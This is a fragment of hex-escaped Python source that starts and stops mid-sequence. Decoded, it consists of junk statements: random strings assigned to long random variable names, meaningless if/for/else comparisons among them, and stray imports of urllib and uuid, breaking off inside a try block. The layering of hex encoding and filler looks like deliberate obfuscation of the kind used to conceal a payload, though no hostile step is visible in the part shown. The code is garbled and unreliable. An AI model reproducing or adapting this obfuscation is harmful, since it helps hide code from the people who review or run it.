5\x46\x48\x57\x6a\x52\x7a\x78\x78\x70\x5a\x62\x4f\x78\x44\x44\x48\x47\x48\x44\x71\x52\x45\x59\x72\x73\x73\x7a\x79\x46\x69\x6f\x75\x4d\x45\x4f\x71\x78\x4a\x6c\x46\x6b\x50\x79\x49\x56\x74\x6d\x70\x51\x4a\x73\x48\x6f\x6d\x41\x4f\x69\x76\x79\x6f\x50\x53\x41\x53\x41\x6c\x43\x27\x0a\x45\x48\x70\x68\x49\x7a\x48\x7a\x7a\x57\x53\x45\x76\x7a\x49\x46\x57\x79\x44\x76\x74\x76\x77\x72\x42\x43\x44\x73\x4a\x52\x51\x54\x6f\x6c\x50\x53\x57\x76\x53\x48\x43\x46\x51\x79\x69\x49\x50\x42\x68\x48\x45\x46\x77\x49\x42\x4e\x49\x41\x47\x53\x6f\x47\x50\x6a\x43\x44\x44\x6c\x71\x6e\x48\x79\x43\x48\x45\x77\x41\x6c\x79\x52\x76\x4a\x42\x6e\x48\x72\x41\x51\x68\x72\x75\x6d\x43\x53\x47\x51\x54\x45\x4e\x53\x71\x66\x42\x42\x56\x78\x53\x4e\x59\x4a\x45\x7a\x45\x7a\x44\x45\x49\x73\x44\x7a\x4a\x54\x50\x47\x6d\x20\x3d\x20\x27\x44\x47\x4a\x53\x45\x58\x72\x5a\x75\x48\x78\x41\x4a\x46\x51\x6e\x79\x7a\x76\x70\x4d\x6d\x48\x72\x50\x4e\x74\x48\x45\x78\x70\x4d\x52\x66\x78\x48\x50\x42\x77\x4c\x78\x72\x79\x77\x75\x43\x42\x4f\x76\x74\x79\x76\x4f\x57\x68\x78\x50\x53\x7a\x42\x45\x70\x50\x75\x51\x47\x70\x41\x52\x46\x46\x77\x41\x4e\x79\x42\x47\x6a\x7a\x51\x48\x79\x53\x51\x67\x75\x47\x42\x73\x73\x6f\x70\x6a\x4f\x66\x46\x72\x77\x48\x57\x53\x47\x6f\x77\x50\x57\x45\x43\x44\x77\x54\x49\x74\x74\x54\x4a\x7a\x44\x47\x4f\x50\x76\x49\x52\x4f\x52\x4f\x27\x0a\x6c\x6e\x76\x44\x70\x54\x70\x52\x66\x45\x52\x79\x6c\x75\x4f\x43\x4d\x42\x72\x47\x48\x71\x62\x6e\x47\x53\x48\x52\x4e\x51\x43\x51\x51\x46\x77\x46\x71\x53\x51\x43\x53\x7a\x75\x4a\x45\x51\x48\x53\x5a\x51\x56\x77\x76\x51\x49\x57\x51\x57\x52\x43\x43\x45\x4d\x57\x66\x51\x48\x43\x7a\x46\x75\x56\x75\x74\x68\x43\x69\x79\x76\x42\x48\x74\x75\x45\x53\x54\x54\x6d\x5a\x6e\x43\x45\x72\x50\x70\x4e\x78\x79\x52\x52\x76\x52\x4e\x46\x41\x53\x6f\x77\x53\x51\x44\x74\x6d\x45\x71\x41\x51\x70\x48\x42\x7a\x49\x76\x54\x45\x46\x68\x20\x3d\x20\x27\x72\x6d\x7a\x59\x67\x52\x45\x52\x49\x43\x78\x47\x69\x44\x44\x43\x49\x50\x48\x43\x47\x41\x47\x58\x44\x43\x6e\x48\x6e\x75\x77\x41\x79\x47\x7a\x45\x76\x72\x71\x43\x71\x4a\x43\x53\x50\x48\x44\x51\x48\x7a\x76\x75\x53\x49\x43\x44\x63\x4a\x43\x43\x4f\x76\x49\x6a\x65\x53\x50\x51\x74\x76\x6c\x57\x68\x58\x76\x79\x75\x73\x41\x77\x75\x42\x70\x47\x58\x6e\x66\x49\x7a\x4c\x50\x4a\x47\x75\x78\x7a\x76\x5a\x53\x7a\x41\x47\x48\x6f\x47\x53\x58\x4a\x4f\x52\x49\x45\x46\x43\x4f\x4f\x53\x75\x48\x78\x64\x69\x6f\x61\x48\x47\x51\x27\x0a\x69\x66\x20\x74\x77\x43\x6a\x59\x42\x47\x43\x57\x6f\x42\x69\x77\x59\x53\x53\x43\x77\x48\x63\x50\x49\x45\x49\x70\x72\x67\x74\x53\x47\x68\x49\x7a\x48\x49\x47\x75\x46\x72\x71\x69\x6a\x79\x48\x41\x6f\x53\x58\x56\x54\x4d\x51\x5a\x58\x53\x7a\x51\x50\x46\x78\x71\x76\x75\x46\x52\x5a\x47\x6f\x52\x74\x78\x4f\x4e\x46\x45\x50\x50\x78\x77\x79\x51\x71\x41\x41\x76\x77\x45\x53\x70\x79\x46\x53\x41\x72\x73\x65\x43\x6e\x72\x45\x73\x65\x48\x50\x6f\x79\x50\x47\x55\x7a\x43\x44\x49\x4f\x46\x43\x44\x47\x45\x51\x48\x4c\x74\x59\x4a\x51\x6b\x20\x3d\x3d\x20\x49\x45\x46\x76\x71\x77\x73\x51\x41\x45\x6b\x43\x73\x6c\x56\x70\x4a\x79\x79\x49\x49\x4f\x55\x70\x47\x4f\x47\x50\x47\x50\x76\x4c\x75\x79\x4e\x79\x65\x78\x65\x48\x41\x67\x4a\x42\x53\x45\x44\x42\x4d\x65\x71\x4d\x51\x79\x51\x41\x73\x71\x4f\x44\x6a\x6e\x75\x58\x71\x51\x6b\x49\x76\x7a\x47\x45\x48\x74\x7a\x49\x5a\x74\x4d\x47\x58\x46\x49\x76\x50\x42\x72\x46\x7a\x53\x6d\x51\x45\x71\x76\x6e\x45\x49\x46\x58\x61\x49\x4a\x73\x43\x76\x4c\x46\x51\x50\x48\x43\x53\x52\x45\x7a\x4a\x70\x41\x75\x74\x77\x51\x4e\x71\x51\x71\x3a\x0a\x20\x20\x20\x20\x66\x6f\x72\x20\x6c\x6e\x76\x44\x70\x54\x70\x52\x66\x45\x52\x79\x6c\x75\x4f\x43\x4d\x42\x72\x47\x48\x71\x62\x6e\x47\x53\x48\x52\x4e\x51\x43\x51\x51\x46\x77\x46\x71\x53\x51\x43\x53\x7a\x75\x4a\x45\x51\x48\x53\x5a\x51\x56\x77\x76\x51\x49\x57\x51\x57\x52\x43\x43\x45\x4d\x57\x66\x51\x48\x43\x7a\x46\x75\x56\x75\x74\x68\x43\x69\x79\x76\x42\x48\x74\x75\x45\x53\x54\x54\x6d\x5a\x6e\x43\x45\x72\x50\x70\x4e\x78\x79\x52\x52\x76\x52\x4e\x46\x41\x53\x6f\x77\x53\x51\x44\x74\x6d\x45\x71\x41\x51\x70\x48\x42\x7a\x49\x76\x54\x45\x46\x68\x20\x69\x6e\x20\x45\x48\x70\x68\x49\x7a\x48\x7a\x7a\x57\x53\x45\x76\x7a\x49\x46\x57\x79\x44\x76\x74\x76\x77\x72\x42\x43\x44\x73\x4a\x52\x51\x54\x6f\x6c\x50\x53\x57\x76\x53\x48\x43\x46\x51\x79\x69\x49\x50\x42\x68\x48\x45\x46\x77\x49\x42\x4e\x49\x41\x47\x53\x6f\x47\x50\x6a\x43\x44\x44\x6c\x71\x6e\x48\x79\x43\x48\x45\x77\x41\x6c\x79\x52\x76\x4a\x42\x6e\x48\x72\x41\x51\x68\x72\x75\x6d\x43\x53\x47\x51\x54\x45\x4e\x53\x71\x66\x42\x42\x56\x78\x53\x4e\x59\x4a\x45\x7a\x45\x7a\x44\x45\x49\x73\x44\x7a\x4a\x54\x50\x47\x6d\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x6c\x6e\x76\x44\x70\x54\x70\x52\x66\x45\x52\x79\x6c\x75\x4f\x43\x4d\x42\x72\x47\x48\x71\x62\x6e\x47\x53\x48\x52\x4e\x51\x43\x51\x51\x46\x77\x46\x71\x53\x51\x43\x53\x7a\x75\x4a\x45\x51\x48\x53\x5a\x51\x56\x77\x76\x51\x49\x57\x51\x57\x52\x43\x43\x45\x4d\x57\x66\x51\x48\x43\x7a\x46\x75\x56\x75\x74\x68\x43\x69\x79\x76\x42\x48\x74\x75\x45\x53\x54\x54\x6d\x5a\x6e\x43\x45\x72\x50\x70\x4e\x78\x79\x52\x52\x76\x52\x4e\x46\x41\x53\x6f\x77\x53\x51\x44\x74\x6d\x45\x71\x41\x51\x70\x48\x42\x7a\x49\x76\x54\x45\x46\x68\x20\x3d\x3d\x20\x49\x45\x46\x76\x71\x77\x73\x51\x41\x45\x6b\x43\x73\x6c\x56\x70\x4a\x79\x79\x49\x49\x4f\x55\x70\x47\x4f\x47\x50\x47\x50\x76\x4c\x75\x79\x4e\x79\x65\x78\x65\x48\x41\x67\x4a\x42\x53\x45\x44\x42\x4d\x65\x71\x4d\x51\x79\x51\x41\x73\x71\x4f\x44\x6a\x6e\x75\x58\x71\x51\x6b\x49\x76\x7a\x47\x45\x48\x74\x7a\x49\x5a\x74\x4d\x47\x58\x46\x49\x76\x50\x42\x72\x46\x7a\x53\x6d\x51\x45\x71\x76\x6e\x45\x49\x46\x58\x61\x49\x4a\x73\x43\x76\x4c\x46\x51\x50\x48\x43\x53\x52\x45\x7a\x4a\x70\x41\x75\x74\x77\x51\x4e\x71\x51\x71\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x45\x48\x70\x68\x49\x7a\x48\x7a\x7a\x57\x53\x45\x76\x7a\x49\x46\x57\x79\x44\x76\x74\x76\x77\x72\x42\x43\x44\x73\x4a\x52\x51\x54\x6f\x6c\x50\x53\x57\x76\x53\x48\x43\x46\x51\x79\x69\x49\x50\x42\x68\x48\x45\x46\x77\x49\x42\x4e\x49\x41\x47\x53\x6f\x47\x50\x6a\x43\x44\x44\x6c\x71\x6e\x48\x79\x43\x48\x45\x77\x41\x6c\x79\x52\x76\x4a\x42\x6e\x48\x72\x41\x51\x68\x72\x75\x6d\x43\x53\x47\x51\x54\x45\x4e\x53\x71\x66\x42\x42\x56\x78\x53\x4e\x59\x4a\x45\x7a\x45\x7a\x44\x45\x49\x73\x44\x7a\x4a\x54\x50\x47\x6d\x20\x3d\x20\x73\x6f\x45\x68\x59\x73\x51\x49\x50\x69\x79\x6b\x69\x51\x52\x52\x79\x46\x55\x79\x53\x7a\x6a\x46\x4e\x51\x7a\x41\x47\x71\x44\x77\x4e\x79\x43\x41\x6e\x41\x45\x71\x47\x73\x53\x47\x46\x43\x4f\x47\x54\x49\x4f\x7a\x79\x6d\x61\x48\x79\x43\x56\x74\x73\x49\x4a\x43\x45\x78\x4a\x5a\x42\x53\x77\x43\x50\x70\x76\x49\x42\x49\x47\x4a\x47\x47\x41\x77\x73\x51\x53\x76\x6b\x43\x41\x75\x53\x42\x4f\x44\x4f\x45\x75\x46\x77\x68\x72\x79\x6e\x47\x43\x46\x48\x48\x46\x46\x53\x49\x77\x44\x44\x50\x77\x79\x47\x52\x74\x50\x50\x47\x47\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x49\x45\x46\x76\x71\x77\x73\x51\x41\x45\x6b\x43\x73\x6c\x56\x70\x4a\x79\x79\x49\x49\x4f\x55\x70\x47\x4f\x47\x50\x47\x50\x76\x4c\x75\x79\x4e\x79\x65\x78\x65\x48\x41\x67\x4a\x42\x53\x45\x44\x42\x4d\x65\x71\x4d\x51\x79\x51\x41\x73\x71\x4f\x44\x6a\x6e\x75\x58\x71\x51\x6b\x49\x76\x7a\x47\x45\x48\x74\x7a\x49\x5a\x74\x4d\x47\x58\x46\x49\x76\x50\x42\x72\x46\x7a\x53\x6d\x51\x45\x71\x76\x6e\x45\x49\x46\x58\x61\x49\x4a\x73\x43\x76\x4c\x46\x51\x50\x48\x43\x53\x52\x45\x7a\x4a\x70\x41\x75\x74\x77\x51\x4e\x71\x51\x71\x20\x3d\x20\x41\x55\x77\x48\x5a\x52\x42\x63\x42\x45\x52\x4b\x6f\x71\x76\x43\x4e\x51\x71\x5a\x4f\x47\x47\x45\x52\x52\x4e\x46\x71\x7a\x59\x48\x47\x74\x49\x42\x6c\x43\x65\x6e\x42\x7a\x49\x52\x75\x46\x43\x78\x4e\x43\x49\x46\x68\x43\x44\x6c\x6d\x76\x53\x47\x51\x49\x58\x42\x58\x59\x46\x47\x51\x72\x4d\x75\x42\x44\x52\x47\x55\x46\x58\x41\x51\x45\x52\x53\x45\x55\x48\x4c\x52\x75\x75\x52\x73\x46\x47\x69\x55\x4f\x53\x43\x7a\x46\x47\x74\x52\x49\x78\x53\x6b\x4c\x74\x69\x46\x47\x73\x43\x73\x79\x49\x49\x49\x73\x78\x7a\x46\x47\x79\x0a\x69\x6d\x70\x6f\x72\x74\x20\x75\x72\x6c\x6c\x69\x62\x0a\x0a\x48\x44\x53\x47\x49\x79\x7a\x53\x49\x7a\x46\x43\x53\x48\x45\x4a\x45\x46\x47\x48\x6e\x44\x76\x4a\x47\x4c\x47\x69\x45\x42\x49\x53\x43\x50\x42\x4a\x46\x48\x42\x45\x47\x4a\x4e\x74\x47\x4a\x47\x71\x48\x7a\x52\x79\x51\x50\x47\x73\x72\x50\x75\x6a\x71\x77\x4d\x4f\x53\x49\x54\x50\x49\x4a\x6a\x79\x49\x46\x79\x41\x45\x50\x45\x7a\x47\x53\x53\x49\x46\x64\x48\x52\x47\x72\x4a\x77\x47\x4f\x50\x56\x41\x78\x4f\x6f\x6e\x79\x41\x6a\x48\x64\x6a\x69\x41\x6e\x46\x65\x73\x73\x74\x6d\x72\x74\x44\x72\x41\x6f\x43\x50\x47\x4f\x65\x20\x3d\x20\x27\x59\x6f\x4a\x46\x6d\x76\x79\x77\x50\x49\x47\x45\x79\x75\x75\x59\x43\x44\x72\x47\x4a\x59\x41\x7a\x4a\x49\x45\x48\x41\x49\x6e\x46\x72\x51\x51\x49\x71\x6f\x48\x43\x77\x44\x44\x4a\x44\x76\x54\x47\x7a\x6f\x47\x76\x47\x53\x4c\x46\x47\x46\x6f\x45\x47\x77\x47\x78\x52\x72\x49\x41\x4a\x47\x76\x52\x53\x6a\x72\x53\x42\x47\x68\x67\x41\x52\x6a\x49\x6d\x45\x73\x66\x48\x79\x6f\x72\x67\x50\x46\x51\x48\x45\x72\x78\x43\x75\x42\x53\x4d\x52\x51\x78\x48\x71\x65\x77\x78\x52\x7a\x71\x41\x49\x77\x48\x48\x46\x4f\x44\x44\x4a\x45\x27\x0a\x4a\x79\x46\x67\x62\x63\x69\x73\x47\x73\x51\x50\x57\x48\x56\x78\x61\x42\x41\x47\x6f\x42\x66\x78\x46\x43\x67\x49\x53\x54\x71\x78\x49\x44\x4a\x75\x45\x65\x65\x52\x44\x42\x4f\x49\x44\x78\x73\x48\x72\x43\x6a\x57\x48\x44\x6e\x43\x74\x68\x42\x54\x6a\x49\x51\x45\x42\x41\x4f\x77\x50\x7a\x53\x44\x5a\x4a\x50\x70\x4a\x70\x47\x78\x70\x6f\x50\x41\x6f\x6b\x41\x42\x53\x6b\x79\x66\x7a\x57\x53\x46\x44\x49\x77\x7a\x50\x49\x74\x6a\x4e\x4f\x50\x74\x6c\x51\x48\x44\x50\x49\x47\x62\x67\x48\x53\x4a\x45\x42\x55\x50\x51\x6f\x79\x20\x3d\x20\x27\x4e\x75\x51\x4d\x72\x44\x4a\x48\x4f\x65\x42\x76\x52\x57\x78\x4a\x74\x58\x72\x75\x72\x4a\x48\x6d\x43\x4e\x51\x75\x54\x52\x50\x59\x6c\x4d\x78\x51\x77\x49\x6a\x79\x52\x43\x46\x4e\x45\x4d\x45\x4c\x45\x47\x53\x48\x6e\x76\x44\x77\x49\x6d\x74\x45\x4d\x79\x44\x79\x50\x79\x79\x51\x79\x76\x41\x44\x46\x6f\x43\x73\x77\x70\x75\x70\x48\x49\x76\x6a\x45\x43\x78\x72\x41\x47\x50\x41\x53\x77\x4d\x6d\x52\x43\x42\x50\x79\x6a\x6b\x43\x47\x47\x41\x6f\x44\x46\x72\x50\x45\x4e\x76\x77\x50\x57\x42\x79\x4a\x57\x51\x78\x52\x6d\x42\x27\x0a\x69\x66\x20\x48\x44\x53\x47\x49\x79\x7a\x53\x49\x7a\x46\x43\x53\x48\x45\x4a\x45\x46\x47\x48\x6e\x44\x76\x4a\x47\x4c\x47\x69\x45\x42\x49\x53\x43\x50\x42\x4a\x46\x48\x42\x45\x47\x4a\x4e\x74\x47\x4a\x47\x71\x48\x7a\x52\x79\x51\x50\x47\x73\x72\x50\x75\x6a\x71\x77\x4d\x4f\x53\x49\x54\x50\x49\x4a\x6a\x79\x49\x46\x79\x41\x45\x50\x45\x7a\x47\x53\x53\x49\x46\x64\x48\x52\x47\x72\x4a\x77\x47\x4f\x50\x56\x41\x78\x4f\x6f\x6e\x79\x41\x6a\x48\x64\x6a\x69\x41\x6e\x46\x65\x73\x73\x74\x6d\x72\x74\x44\x72\x41\x6f\x43\x50\x47\x4f\x65\x20\x21\x3d\x20\x4a\x79\x46\x67\x62\x63\x69\x73\x47\x73\x51\x50\x57\x48\x56\x78\x61\x42\x41\x47\x6f\x42\x66\x78\x46\x43\x67\x49\x53\x54\x71\x78\x49\x44\x4a\x75\x45\x65\x65\x52\x44\x42\x4f\x49\x44\x78\x73\x48\x72\x43\x6a\x57\x48\x44\x6e\x43\x74\x68\x42\x54\x6a\x49\x51\x45\x42\x41\x4f\x77\x50\x7a\x53\x44\x5a\x4a\x50\x70\x4a\x70\x47\x78\x70\x6f\x50\x41\x6f\x6b\x41\x42\x53\x6b\x79\x66\x7a\x57\x53\x46\x44\x49\x77\x7a\x50\x49\x74\x6a\x4e\x4f\x50\x74\x6c\x51\x48\x44\x50\x49\x47\x62\x67\x48\x53\x4a\x45\x42\x55\x50\x51\x6f\x79\x3a\x0a\x20\x20\x20\x20\x48\x44\x53\x47\x49\x79\x7a\x53\x49\x7a\x46\x43\x53\x48\x45\x4a\x45\x46\x47\x48\x6e\x44\x76\x4a\x47\x4c\x47\x69\x45\x42\x49\x53\x43\x50\x42\x4a\x46\x48\x42\x45\x47\x4a\x4e\x74\x47\x4a\x47\x71\x48\x7a\x52\x79\x51\x50\x47\x73\x72\x50\x75\x6a\x71\x77\x4d\x4f\x53\x49\x54\x50\x49\x4a\x6a\x79\x49\x46\x79\x41\x45\x50\x45\x7a\x47\x53\x53\x49\x46\x64\x48\x52\x47\x72\x4a\x77\x47\x4f\x50\x56\x41\x78\x4f\x6f\x6e\x79\x41\x6a\x48\x64\x6a\x69\x41\x6e\x46\x65\x73\x73\x74\x6d\x72\x74\x44\x72\x41\x6f\x43\x50\x47\x4f\x65\x20\x3d\x20\x27\x4e\x75\x51\x4d\x72\x44\x4a\x48\x4f\x65\x42\x76\x52\x57\x78\x4a\x74\x58\x72\x75\x72\x4a\x48\x6d\x43\x4e\x51\x75\x54\x52\x50\x59\x6c\x4d\x78\x51\x77\x49\x6a\x79\x52\x43\x46\x4e\x45\x4d\x45\x4c\x45\x47\x53\x48\x6e\x76\x44\x77\x49\x6d\x74\x45\x4d\x79\x44\x79\x50\x79\x79\x51\x79\x76\x41\x44\x46\x6f\x43\x73\x77\x70\x75\x70\x48\x49\x76\x6a\x45\x43\x78\x72\x41\x47\x50\x41\x53\x77\x4d\x6d\x52\x43\x42\x50\x79\x6a\x6b\x43\x47\x47\x41\x6f\x44\x46\x72\x50\x45\x4e\x76\x77\x50\x57\x42\x79\x4a\x57\x51\x78\x52\x6d\x42\x27\x0a\x20\x20\x20\x20\x4a\x79\x46\x67\x62\x63\x69\x73\x47\x73\x51\x50\x57\x48\x56\x78\x61\x42\x41\x47\x6f\x42\x66\x78\x46\x43\x67\x49\x53\x54\x71\x78\x49\x44\x4a\x75\x45\x65\x65\x52\x44\x42\x4f\x49\x44\x78\x73\x48\x72\x43\x6a\x57\x48\x44\x6e\x43\x74\x68\x42\x54\x6a\x49\x51\x45\x42\x41\x4f\x77\x50\x7a\x53\x44\x5a\x4a\x50\x70\x4a\x70\x47\x78\x70\x6f\x50\x41\x6f\x6b\x41\x42\x53\x6b\x79\x66\x7a\x57\x53\x46\x44\x49\x77\x7a\x50\x49\x74\x6a\x4e\x4f\x50\x74\x6c\x51\x48\x44\x50\x49\x47\x62\x67\x48\x53\x4a\x45\x42\x55\x50\x51\x6f\x79\x20\x3d\x20\x48\x44\x53\x47\x49\x79\x7a\x53\x49\x7a\x46\x43\x53\x48\x45\x4a\x45\x46\x47\x48\x6e\x44\x76\x4a\x47\x4c\x47\x69\x45\x42\x49\x53\x43\x50\x42\x4a\x46\x48\x42\x45\x47\x4a\x4e\x74\x47\x4a\x47\x71\x48\x7a\x52\x79\x51\x50\x47\x73\x72\x50\x75\x6a\x71\x77\x4d\x4f\x53\x49\x54\x50\x49\x4a\x6a\x79\x49\x46\x79\x41\x45\x50\x45\x7a\x47\x53\x53\x49\x46\x64\x48\x52\x47\x72\x4a\x77\x47\x4f\x50\x56\x41\x78\x4f\x6f\x6e\x79\x41\x6a\x48\x64\x6a\x69\x41\x6e\x46\x65\x73\x73\x74\x6d\x72\x74\x44\x72\x41\x6f\x43\x50\x47\x4f\x65\x0a\x20\x20\x20\x20\x48\x44\x53\x47\x49\x79\x7a\x53\x49\x7a\x46\x43\x53\x48\x45\x4a\x45\x46\x47\x48\x6e\x44\x76\x4a\x47\x4c\x47\x69\x45\x42\x49\x53\x43\x50\x42\x4a\x46\x48\x42\x45\x47\x4a\x4e\x74\x47\x4a\x47\x71\x48\x7a\x52\x79\x51\x50\x47\x73\x72\x50\x75\x6a\x71\x77\x4d\x4f\x53\x49\x54\x50\x49\x4a\x6a\x79\x49\x46\x79\x41\x45\x50\x45\x7a\x47\x53\x53\x49\x46\x64\x48\x52\x47\x72\x4a\x77\x47\x4f\x50\x56\x41\x78\x4f\x6f\x6e\x79\x41\x6a\x48\x64\x6a\x69\x41\x6e\x46\x65\x73\x73\x74\x6d\x72\x74\x44\x72\x41\x6f\x43\x50\x47\x4f\x65\x20\x3d\x20\x27\x59\x6f\x4a\x46\x6d\x76\x79\x77\x50\x49\x47\x45\x79\x75\x75\x59\x43\x44\x72\x47\x4a\x59\x41\x7a\x4a\x49\x45\x48\x41\x49\x6e\x46\x72\x51\x51\x49\x71\x6f\x48\x43\x77\x44\x44\x4a\x44\x76\x54\x47\x7a\x6f\x47\x76\x47\x53\x4c\x46\x47\x46\x6f\x45\x47\x77\x47\x78\x52\x72\x49\x41\x4a\x47\x76\x52\x53\x6a\x72\x53\x42\x47\x68\x67\x41\x52\x6a\x49\x6d\x45\x73\x66\x48\x79\x6f\x72\x67\x50\x46\x51\x48\x45\x72\x78\x43\x75\x42\x53\x4d\x52\x51\x78\x48\x71\x65\x77\x78\x52\x7a\x71\x41\x49\x77\x48\x48\x46\x4f\x44\x44\x4a\x45\x27\x0a\x69\x6d\x70\x6f\x72\x74\x20\x75\x75\x69\x64\x0a\x0a\x74\x72\x79\x3a\x0a\x20\x20\x20\x20\x50\x45\x52\x77\x52\x44\x77\x62\x75\x47\x6e\x74\x46\x4f\x59\x72\x6c\x68\x71\x50\x44\x48\x45\x56\x45\x50\x52\x5a\x44\x47\x6f\x77\x53\x76\x50\x4a\x42\x56\x48\x51\x4a\x7a\x77\x42\x56\x44\x76\x42\x42\x50\x74\x51\x72\x59\x51\x47\x49\x43\x4a\x48\x43\x47\x41\x44\x52\x52\x62\x5a\x4e\x78\x48\x4e\x7a\x6a\x54\x50\x52\x4e\x41\x51\x6f\x43\x7a\x50\x50\x49\x4a\x53\x43\x4e\x48\x59\x53\x6f\x48\x77\x48\x78\x4e\x50\x4f\x69\x4c\x6d\x63\x43\x43\x43\x4d\x53\x5a\x48\x7a\x6a\x76\x78\x56\x71\x5a\x49\x6a\x73\x47\x74\x77\x44\x48\x20\x3d\x20\x27\x43\x71\x4a\x7a\x79\x6a\x6c\x55\x6c\x69\x77\x44\x5a\x75\x50\x51\x6d\x6f\x6c\x76\x52\x6d\x48\x43\x48\x44\x79\x51\x78\x6c\x4b\x55\x67\x79\x51\x6f\x41\x7a\x6e\x54\x43\x4a\x45\x72\x7a\x72\x51\x43\x46\x78\x55\x54\x43\x4a\x52\x4a\x7a\x47\x48\x7a\x47\x43\x4a\x49\x72\x47\x41\x45\x75\x7a\x53\x50\x77\x78\x50\x4a\x72\x78\x4b\x79\x42\x43\x71\x50\x46\x6a\x70\x42\x47\x53\x58\x6d\x75\x43\x74\x54\x73\x72\x6e\x6a\x62\x45\x70\x74\x48\x45\x4c\x47\x67\x7a\x49\x47\x73\x6d\x53\x49\x41\x6a\x52\x71\x50\x79\x53\x79\x6c\x44\x66\x27\x0a\x20\x20\x20\x20\x6f\x57\x70\x73\x58\x4a\x76\x79\x4a\x45\x41\x6d\x52\x53\x71\x61\x79\x48\x77\x73\x71\x6d\x47\x4a\x77\x75\x43\x6b\x75\x4d\x79\x42\x69\x63\x72\x44\x77\x6d\x6d\x71\x76\x4e\x79\x4c\x73\x56\x48\x4c\x48\x77\x44\x6b\x73\x76\x64\x45\x6a\x48\x41\x57\x76\x6f\x46\x57\x78\x50\x53\x56\x4d\x6d\x4e\x73\x69\x70\x77\x44\x63\x79\x7a\x6d\x48\x4f\x46\x45\x52\x49\x58\x44\x44\x49\x53\x4e\x74\x47\x50\x76\x75\x52\x42\x72\x44\x43\x71\x52\x54\x48\x51\x43\x51\x7a\x58\x6e\x49\x49\x41\x6d\x48\x48\x6d\x44\x52\x79\x44\x4e\x55\x49\x48\x20\x3d\x20\x27\x48\x51\x65\x71\x4f\x49\x52\x51\x75\x4a\x6d\x50\x64\x70\x6b\x78\x6a\x46\x51\x51\x47\x72\x74\x42\x7a\x49\x52\x4e\x73\x71\x54\x72\x77\x42\x55\x49\x44\x54\x51\x44\x48\x76\x73\x6f\x73\x49\x4c\x77\x79\x78\x42\x46\x44\x49\x75\x53\x4f\x51\x7a\x6e\x44\x4a\x45\x43\x4e\x52\x53\x50\x45\x42\x47\x48\x75\x43\x46\x53\x48\x69\x71\x59\x79\x53\x46\x52\x42\x76\x4e\x48\x72\x4d\x52\x41\x79\x79\x44\x53\x48\x58\x78\x65\x6d\x42\x46\x77\x6a\x49\x41\x6b\x58\x75\x4f\x64\x72\x48\x46\x49\x6f\x45\x42\x74\x42\x52\x76\x43\x69\x42\x47\x27\x0a\x20\x20\x20\x20\x56\x4a\x68\x59\x74\x45\x4c\x7a\x7a\x42\x73\x79\x45\x43\x43\x56\x7a\x46\x44\x46\x4a\x6a\x7a\x46\x73\x50\x65\x78\x43\x71\x44\x42\x6e\x52\x6e\x71\x74\x46\x46\x45\x69\x54\x4e\x63\x44\x70\x45\x48\x69\x74\x46\x50\x49\x43\x76\x76\x53\x4a\x66\x78\x52\x76\x47\x6d\x45\x58\x76\x52\x48\x43\x43\x76\x70\x46\x4a\x52\x46\x46\x44\x53\x42\x52\x71\x74\x73\x4a\x49\x49\x71\x51\x76\x74\x78\x58\x70\x47\x79\x6c\x4f\x70\x50\x49\x48\x46\x45\x47\x4d\x70\x73\x59\x78\x52\x49\x54\x48\x74\x42\x4a\x71\x47\x65\x4c\x44\x51\x56\x6c\x70\x20\x3d\x20\x27\x7a\x77\x51\x4a\x6e\x44\x74\x6f\x4a\x78\x76\x76\x42\x55\x53\x45\x52\x6f\x4a\x52\x6e\x73\x6e\x44\x52\x72\x65\x45\x43\x78\x46\x78\x48\x45\x45\x52\x6f\x76\x5a\x6e\x47\x43\x43\x78\x77\x72\x79\x52\x77\x49\x48\x48\x53\x4f\x43\x66\x4c\x53\x53\x6c\x43\x64\x66\x7a\x73\x48\x6f\x48\x52\x43\x41\x53\x68\x48\x53\x73\x44\x7a\x45\x6f\x4a\x77\x48\x71\x77\x42\x6f\x7a\x47\x58\x77\x68\x51\x48\x53\x42\x57\x42\x44\x47\x78\x53\x79\x72\x4e\x41\x76\x47\x49\x53\x73\x49\x6e\x46\x42\x72\x58\x45\x45\x75\x79\x47\x76\x49\x50\x56\x46\x27\x0a\x20\x20\x20\x20\x74\x49\x77\x7a\x4a\x69\x52\x79\x44\x70\x50\x7a\x52\x6d\x79\x47\x4f\x68\x73\x43\x4f\x6c\x78\x76\x49\x6a\x67\x69\x47\x41\x4a\x46\x56\x44\x45\x65\x78\x42\x49\x74\x45\x77\x52\x50\x76\x48\x52\x46\x6e\x45\x4d\x52\x45\x62\x51\x4a\x77\x6d\x56\x65\x6d\x4f\x48\x49\x44\x79\x42\x42\x50\x79\x72\x77\x53\x7a\x78\x6b\x44\x48\x4a\x58\x68\x4c\x46\x42\x42\x44\x52\x52\x52\x6d\x44\x52\x42\x6a\x7a\x71\x6a\x52\x42\x4d\x42\x74\x6b\x56\x4f\x43\x4a\x49\x74\x72\x57\x71\x4c\x6c\x43\x44\x6d\x45\x4a\x71\x59\x45\x41\x6f\x44\x6b\x75\x20\x3d\x20\x27\x52\x66\x4f\x50\x4c\x49\x4e\x42\x6f\x47\x49\x7a\x43\x5a\x50\x6d\x73\x47\x67\x48\x76\x49\x44\x69\x53\x53\x65\x4a\x43\x52\x6b\x67\x4c\x79\x4a\x78\x49\x44\x45\x49\x73\x4a\x78\x51\x4a\x47\x4e\x44\x6a\x41\x46\x73\x6f\x78\x53\x71\x74\x44\x77\x76\x75\x47\x66\x41\x45\x48\x4e\x7a\x58\x71\x45\x5a\x74\x44\x79\x76\x43\x47\x74\x46\x44\x44\x53\x75\x41\x51\x52\x5a\x6d\x75\x47\x75\x7a\x4a\x49\x4d\x43\x51\x59\x75\x45\x51\x4f\x75\x69\x51\x4a\x6d\x47\x74\x6c\x78\x48\x4a\x7a\x6b\x78\x6e\x6f\x76\x47\x43\x4f\x71\x74\x6a\x51\x27\x0a\x20\x20\x20\x20\x78\x6b\x4a\x74\x50\x57\x48\x44\x46\x48\x53\x7a\x54\x46\x4d\x56\x6e\x43\x53\x70\x49\x6d\x53\x52\x4e\x6a\x56\x59\x50\x51\x46\x52\x46\x73\x79\x78\x50\x4a\x53\x47\x51\x51\x41\x4a\x4f\x73\x76\x45\x79\x77\x74\x4d\x43\x42\x78\x59\x4c\x47\x59\x47\x73\x77\x75\x76\x57\x77\x7a\x47\x53\x73\x79\x43\x69\x79\x48\x79\x5a\x75\x7a\